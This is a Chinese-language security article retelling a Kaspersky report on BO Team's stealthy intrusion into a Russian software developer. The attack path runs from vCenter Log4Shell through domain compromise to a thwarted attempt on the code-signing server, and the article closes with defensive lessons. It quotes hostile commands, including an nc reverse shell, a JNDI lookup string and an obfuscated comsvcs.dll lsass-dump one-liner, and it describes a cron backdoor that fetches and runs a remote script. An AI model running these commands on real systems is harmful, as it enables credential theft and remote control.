【视频】揭秘:BlackOwl团队长达数月的潜伏攻击

admin 2026-11-18 01:46:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【视频】揭秘:Black Owl 团队长达数月的潜伏攻击

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骨哥说事
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2026年11月17日 14:39
上海

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2025 年 6 月,一家俄罗斯软件开发商的安全人员注意到一件不太对劲的小事:几台系统管理员的电脑上,出现了若干次 SMB 连接尝试,发起者是几个本不该访问这些系统的账号。

没有告警风暴,没有文件被加密,也没有赎金信。但 Kaspersky ICS CERT 接手后的应急响应第一天,就在系统里找到了恶意软件痕迹,以及一串带着 Black Owl(BO Team)特征的已执行命令。

接下来的调查结果比\"一起入侵\"要严重得多:这家公司的域控、两套虚拟化集群、GitLab、Ansible 编排系统、备份、邮件、SIEM、网络设备,几乎全部落在攻击者手里。而在那台特殊服务器被删除、覆盖的安全软件日志里,调查人员还恢复出了几次被拦下的恶意投递记录——那是给商业软件编译产物打数字签名的机器。

出乎寻常的安静

BO Team,也叫 Black Owl、Lifting Zmiy、Hoody Hyena,2024 年初通过 Telegram 频道公开亮相。它的惯常打法是:钓鱼邮件拿到初始访问,潜伏数周甚至数月,然后删备份、用 SDelete 擦数据、在部分案例里部署 Babuk 勒索软件,最后在 Telegram 上公布战果。研究机构普遍将其归入亲乌克兰的黑客活动组织,认为其动机包括削弱俄罗斯军工体系,并带有认知战色彩。

按照这个画像,攻击者拿到域管理员权限之后应该开始\"拆房子\"。但这次没有。

他们在网络里待了几个月,窃取机密信息,搭建方便的命令通道,埋下后门,却始终没有加密或销毁任何文件,也没有任何公开宣称。Kaspersky 的判断是:攻击者很可能在等一个更有价值的结果——把恶意代码塞进这家公司即将发布的软件里,再借由它的客户扩散出去。

报告里有一句话把这条线索说得很直白:软件开发(CI/CD)基础设施和代码签名服务器被攻陷,意味着这次攻击\"很可能将发展成供应链场景\"(来源:https://ics-cert.kaspersky.com/publications/reports/2026/11/05/supply-chain-attack-bo-team-in-a-software-developers-infrastructure/ )。

入口

攻击链的起点并不高级。在被发现之前,攻击者已经在这套环境里活动了一段时间,只是没人注意到。

受害组织有一台 Linux 终端服务器,SSH 直接暴露在互联网上,而某个服务账号还启用了用户名加口令认证。攻击者从外部 IP 连了进来。

接下来几天,这台终端服务器变成了侦察跳板。攻击者扫描内网地址段,专门找开着 SMB、Kerberos、SSH、Telnet、FTP、HTTP、HTTPS、WinRM、LDAP 的主机。事件日志里留下的字段特征指向 Metasploit,另外还有 Burp Suite 的使用痕迹。

有意思的是他们试图打开、但因为内网限制而失败的网站清单:卖代理的 proxy-sale.com、注重隐私的 DuckDuckGo、VMware vCenter 文档、漏洞库 vulners.com、MikroTik 和 QNAP 的文档站,以及 docs.dependencytrack.org——一个做软件成分分析(依赖分析)的平台文档。

这份清单本身只是一串失败的访问记录。但放到整个事件里看,它更像是攻击者的购物车:vCenter 文档和漏洞库对应下一步要打的虚拟化平台,而依赖分析平台的文档,则和后来他们对源码仓库、构建与签名环节的兴趣对得上。

跳板

攻击者先试着登录 vCenter 的 Web 界面,全部失败。

紧接着,hypervisor 上出现了奇怪的东西:多个命令行解释器进程被启动,参数是一段 Base64 编码的命令,解码后是一句再朴素不过的反向 shell——nc -e /bin/sh 10.x.x.x 8091。

这段记录有三处说不通。命令以 root 权限运行;当时没有任何 SSH 登录记录;vCenter 日志里也没有对应的用户会话。换句话说,这个 root shell 没有\"进门\"的过程,它是凭空出现的。

受害系统跑的是 VMware vCenter 7.0.3,随附的 Apache Tomcat 带着存在 CVE-2021-44228 的 Log4j;进程日志也证实,命令执行时系统加载的正是易受攻击的 log4j 版本。而那段命令的写法,与 X 上一个公开的漏洞演示几乎一致,攻击者只是换了目标 IP。

Kaspersky 没有停在推断上:他们用同一构建的 vCenter 搭了测试环境,跑了一遍利用,确认这个版本确实能被 Log4Shell 打穿。

Log4Shell 的原理,可以粗糙地理解为\"日志里写一句话,服务器就去执行一段代码\"。Log4j 支持 ${jndi:ldap://...} 形式的查找替换,当被记录的内容里含有这种字符串时,它会向攻击者指定的 LDAP 服务请求资源,并按返回的引用加载远程 Java 类。问题在于,被写进日志的东西太多了:User-Agent、用户名、请求参数,任何一个能被攻击者影响的字段都可能是入口。

这个漏洞的 CVSS 评分是 10.0,影响范围覆盖 Log4j 2.0-beta9 之后的多个版本;2.15.0 起该行为默认被关闭,2.16.0 以及 2.12.2、2.12.3、2.3.1 才把相关功能彻底移除。VMware 在 2021 年 12 月 10 日就发布了 VMSA-2021-0028,明确 vCenter Server 7.x 需要升级到 7.0 U3c 才能修复。

也就是说,当 2025 年 6 月攻击者敲开这扇门时,官方补丁已经躺了三年半。

vCenter 之所以成为理想的跳板,不只是因为它有漏洞。它是虚拟化层的控制面:管着 ESXi 主机、虚拟机的开关与磁盘、网络与存储策略。更要命的是,这台 vCenter 上还放着 /root/.ssh/id_rsa——一把能直接 SSH 登录 hypervisor 的私钥。拿下 vCenter,等于拿到了整个虚拟化平面的备用钥匙。

一把钥匙接一把钥匙

拿到 root 之后,攻击者的动作非常\"运维\"。

读私钥,SSH 登录 hypervisor,枚举虚拟化网段里哪些主机可达。然后在 /etc/cron.hourly/ 下放了一个叫 pgcache 的脚本,伪装成 PostgreSQL 的缓存组件,每小时自动运行一次。为了让文件看起来像旧文件,他们还改了时间戳,把\"最后修改时间\"伪造成 2021 年。

这个后门的唤醒方式很省事:脚本会去访问 nofrillsdns[.]com 的一个子域下载并执行 script.sh;C2 没启用时,该域名解析到 127.0.0.1,脚本检测到就什么都不做。要激活后门,只需要改一条 DNS 记录。域名本身是用 curl 调用 nofrillsdns 免费注册的——基础设施成本几乎为零。

脚本里还硬编码了企业代理服务器的 IP 和一个技术账号的凭据。而这个账号的口令,存放在 LDAP 里一个可公开读取的 comment 字段。一个\"备注栏\",成了攻击者穿过出网限制的通行证。

接着,攻击者用被控 hypervisor 的证书接入了第二套虚拟化集群,放了同类后门;创建多个虚拟网卡,推测是为了让 VPN 网段能直达虚拟机;收集虚拟机和防火墙规则;用 unset HISTFILE 关掉命令历史,用 w 和 who 确认管理员不在线。他们并不想和管理员同时出现在系统里。

虚拟机里也被埋了后门。/etc/cron.hourly/1vmware-timesync 这个名字看起来像 VMware 工具的时间同步任务,实际会启动一个混淆过的 bash 脚本,从中解出 AES-256-CBC 加密的载荷,解密后写进内存文件描述符 /proc/self/fd/3 执行,进程改名叫 exe。载荷是一个改过的 ReverseSSH——基于 GitHub 上的开源项目,只把 SSH 密钥换成了攻击者自己的。

然后是这条链上最关键的一环:GitLab。

攻击者在虚拟机里翻找密钥和凭据,攻陷了 GitLab 服务器。这给了他们两样东西:一部分产品源码仓库,以及 GitLab 服务器的私钥。用这把私钥,他们接入了 Ansible 编排系统;而 Ansible 的私钥,又把他们带到了企业 VPN 服务器、备份服务器、网络设备配置备份服务器,最后是 SIEM。

虚拟化平台、代码仓库、配置管理、备份、日志与告警——防守方用来\"看见\"和\"恢复\"的系统,一个接一个变成了攻击者的据点。

Windows 侧

在这条 Linux 与虚拟化并行的战线上,Windows 域是另一个战场。

攻击者先在终端服务器的服务脚本里找到了几个域账号的凭据。这些脚本的权限设置得相当随意,任何用户都能读到内容。他们拿这些账号去连域控,失败了——权限不够。但几天后,他们用一名系统管理员的账号登了进去。

这个账号很值得单独说一句:它不属于 Domain Admins,本来也不该有域控访问权,但它在本地管理员组里,默认拥有 RDP 权限。报告推测,这是服务器配置完成后被遗忘、一直没从本地管理员组里移除的遗留账号。至于口令,很可能是攻击者从 hypervisor 上运行的虚拟机内存里拿到的。

登录之后,攻击者先改了该用户 Downloads 目录的安全属性,多半是为了掩盖被安全软件拦下的恶意程序启动记录;又用 ie4uinit.exe、unregmp2.exe、fsquirt.exe 这些系统文件测试能否侧载程序,用 tasklist、findstr、taskmgr、ipconfig 摸清装了哪些安全软件、有哪些网卡。

第一轮抓取域凭据用的是 Nanodump,目标是 lsass 进程内存。这次被安全软件拦了。攻击者删掉事件日志,暂时收手。

第二轮他们换了个思路:不用黑客工具,用 Windows 自带的。

%COMSPEC% /Q /c cmD.EXe /Q /c for /f \"tokens=1,2 delims= \" ^%A in
('\"tasklist /fi \"Imagename eq lsass.exe\" | find \"lsass\"\"') do
rundll32.exe C:\\windows\\System32\\comsvcs.dll, #+0000^24 ^%B
\\Windows\\Temp\\pnSsW4wSk.cur full

这段命令先用 tasklist 找到 lsass 的 PID,再用 rundll32 调用 comsvcs.dll 的序数 24——也就是 MiniDumpW——把 lsass 的内存完整导出到临时目录。#+0000^24 这种写法是故意的混淆,功能上等价于按序号调用导出函数。

同样的命令,在 BO Team 以往的某次攻击里出现过,除了文件名不同,连多余空格的位置都一样。这是 Kaspersky 把本次事件归因给该组织的关键证据之一。

这一次没有被拦。原因不复杂:域控上装的安全软件版本过旧,缺少能识别这类行为的行为分析模块。

不过 lsass 转储里并没有域管理员的凭据。攻击者于是又做了两步:用 regedit 导出系统注册表,用 ntdsutil.exe 复制 C:\\Windows\\NTDS\ tds.dit。注册表里的密钥材料可以解密 ntds.dit,而后者包含域内所有用户的 NTLM 哈希和 Kerberos 密钥 。

拿到 krbtgt 账号的密钥,就具备了伪造任意用户 TGT 的能力,也就是 Golden Ticket。几小时后,攻击者用一名域管理员的 Kerberos 票据登录了域控。

故事到这儿还没完。他们发现,这家公司每个办事处都有自己的域,合起来构成一个林;而不同域的系统管理员账号,用了同一个口令。这个猜测被验证了——攻破另一个域的管理员口令后,他们连上了林根域的控制器。至此,所有域、所有办事处的 Windows 基础设施全部失守。

在域控上,攻击者还打开 mmc.exe,检查了 \\\\*\\SYSVOL 共享的访问权限。这一步可能是在准备通过组策略(GPO)向域内所有机器下发东西——按照 BO Team 的习惯,那可能是勒索软件,也可能是擦除器。

但他们什么都没发。

真正的目标

在排查过程中,Kaspersky 发现攻击者连过很多台 Windows 服务器,但只在其中一台上用了恶意软件。那台就是代码签名服务器。

代码签名服务器的作用,是给编译好的软件加上数字签名。用户和操作系统看到有效签名,会默认\"这个软件来自可信发布者、且发布后没被改过\"。它因此是软件供应链里价值最高的攻击点之一:只要在签名之前把恶意代码塞进构建产物,签名就会替攻击者完成剩下的所有说服工作;或者退一步,把签名证书和私钥偷走,以后拿去签自己的恶意软件。

报告恢复了这台服务器上被删除、覆盖的安全软件日志,里面留着三次被拦下的记录:WmiPrvSE.exe 上的 PDM:Exploit.Win32.Generic、svchost.exe 上的计划任务类检出、以及系统内存中的 HEUR:Trojan.Multi.Agent.c。从检出名称和对象路径看,攻击者先尝试远程执行恶意 WMI 脚本,再尝试创建计划任务、向临时目录写入恶意文件——大概率是想装一个和 Linux 侧类似的后门。

这些尝试被拦住了。Kaspersky 的判断是,攻击整体在达成目标前被检测和阻断,攻击者失去了对被控基础设施的访问。

需要说清楚的是:公开报告没有说明签名服务器是否在某个环节被完全控制,也没有说明是否有构建产物被篡改、是否有签名证书被带走。目前同样没有公开证据显示这家公司的下游客户受到了影响。能确认的是,攻击者已经走到了这一步的门口,并且为它准备了工具和路径。

这也解释了此前几个看似无关的动作:翻源码仓库、看依赖分析平台文档、在域内长期潜伏却不破坏。它们拼在一起,指向的不是\"偷完就走\",而是\"改一个版本,让所有客户替我传播\"。

他们是如何被发现的

回过头看,暴露这起入侵的信号相当朴素:几个不该出现的账号,发起了不该出现的 SMB 连接。

而攻击者留下的破绽远不止这一处。他们删除了终端服务器的日志,也试图用 unset HISTFILE 关掉命令记录,但系统事件日志没有被彻底清除,恢复后反而暴露了他们访问过哪些站点;对管理员个人终端服务器爆破 root 口令,失败了约 2500 次才成功,这个量级在任何像样的日志里都很扎眼;跨域复用同一口令,直接让一个域的失守变成整个林的失守。

还有一件事,很能说明攻击者的心态。事件被发现、网络被整体断网隔离后,受害方在采取额外防护措施的前提下,对部分网段恢复了互联网访问。几天后,员工收到一封主题为\"邮箱账户已从邮件服务器断开\"的邮件,要求点击链接修改密码。

这封邮件通过了 SPF 检查,也没有被判定为钓鱼邮件。原因是它带着有效的 DKIM 签名——而 DKIM 私钥,本该只存在于受害组织自己的邮件服务器上。攻击者此前已经拿下了那台服务器。

换句话说,即使已经被赶出门,他们手里还留着一把能\"以公司名义说话\"的钥匙。邮件里的链接指向一个自动生成钓鱼页的服务:它加载目标公司官网的真实页面,在上面叠一个密码输入框,输完显示错误提示,密码则发给了攻击者。

这次钓鱼被及时发现,没有造成凭据泄露。

真正的教训

如果只看技术细节,这起事件像是一份\"配置错误清单\":公网暴露的 SSH、启用了口令认证的服务账号、三年半没打的 vCenter 补丁、写在 LDAP 备注里的口令、全局可读的服务脚本、复用口令的域管理员、被遗忘在本地管理员组里的旧账号、缺行为检测模块的旧版安全软件、还在实施中的 SIEM。

但把这些串起来,真正的教训在信任结构上。

第一,设备也是资产,而且常常是补丁盲区。 vCenter、备份一体机、防火墙管理口这类\"设备型\"产品,往往不在常规服务器补丁流程里,内部第三方组件的版本也不会出现在普通资产扫描中。Log4Shell 修复版本 2021 年 12 月就发布了,2025 年仍有系统在跑受影响构建。攻击者不需要新漏洞,只需要一台没人负责打补丁的设备。

第二,虚拟化层失守等于控制面失守。 hypervisor 上的 root 进程没有对应登录记录,说明传统\"看登录日志\"的思路在这里失效。管理网必须独立分段,vCenter 与 hypervisor 的管理接口不应与普通终端服务器处于同一可达范围。

第三,横向移动靠的是凭据,不是漏洞。 vCenter 的 root 私钥、hypervisor 证书、GitLab 私钥、Ansible 私钥、LDAP 备注里的口令、复用口令的管理员账号——这条链上每一环都是治理问题。密钥和口令需要集中管理、最小权限、定期轮换;服务脚本、配置仓库、LDAP 属性都不该成为凭据存放地。

第四,构建与签名环节需要单独设计防护。 代码签名服务器应放在与办公网、域管理网隔离的环境中,签名操作宜采用 HSM 或硬件令牌保管私钥,配合双人授权、签名前后产物哈希比对与完整审计。本案中该服务器上的安全软件确实拦下了投递尝试,但这是在攻击者已拿到域管理员权限之后发生的。防护有效,不代表架构合理。

第五,事件响应必须包含\"密钥清算\"。 改域口令、重置 krbtgt 两次、重装系统只是基础。DKIM 私钥、TLS 证书、SSH 密钥、代码签名证书、API Token、服务账号,都要按\"已泄露\"处理并全部作废重发。否则攻击者即使失去网络访问,仍能借用组织的身份继续钓鱼。

结语

这起事件里最值得记住的,可能不是 Log4Shell,也不是那串 comsvcs.dll 命令,而是一个反差:一个以删库、勒索、公开羞辱为标志的组织,在一家软件公司里安静地待了几个月,什么破坏都没做。

他们没有发勒索信,很可能是因为这次的目标不是钱。代码签名是软件信任的最后一公里,一旦这一公里被攻破,签名本身就会变成攻击载荷的一部分,绕过下游客户大部分的怀疑与拦截。

而走到这一公里,攻击者用的不是 0day,是一串没人认真管过的钥匙。

目前公开信息显示,这次行动在最后一步之前被按住了。但对于所有做软件、做交付、做构建流水线的人来说,这不是一个\"别人家的事故\",而是一次提前曝光的路线图。

参考资料

  1. Supply chain attack: BO Team in a software developer's infrastructure
  2. VMSA-2021-0028: VMware Response to Apache Log4j Remote Code Execution Vulnerabilities
  3. CVE-2021-44228 Detail
  4. BO Team Exploits Log4Shell in VMware vCenter, Compromises Russian Firm's Code-Signing Server
  5. BO TEAM Group(Cyber Insight)
  6. Особенности атак хактивистской группы BO Team
  • END -

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